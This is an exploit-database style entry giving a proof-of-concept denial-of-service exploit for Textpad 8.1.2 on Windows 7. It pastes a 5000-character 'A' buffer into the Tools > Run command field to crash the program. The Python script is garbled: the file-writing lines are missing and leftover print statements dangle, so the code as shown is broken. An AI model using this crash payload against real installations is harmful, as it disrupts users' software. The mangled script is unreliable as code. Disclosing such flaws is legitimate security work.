Textpad 8.1.2 - Denial Of Service (PoC)

Gionathan Reale 2018-12-09 dos windows_x86
# Exploit Title: Textpad 8.1.2 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-06
# Homepage: https://textpad.com
# Software Link: https://www.textpad.com/download/v81/win32/txpeng812-32.zip
# Tested Version: 8.1.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" > "Run...". Now paste the content of 
# "exploit.txt" into the fields:"Command". Click "OK" and you will see a crash.

buffer = "A" * 5000

payload = buffer
    print "[+] Creating %s bytes evil payload.." %len(payload)
    print "[+] File created!"
    print "File cannot be created"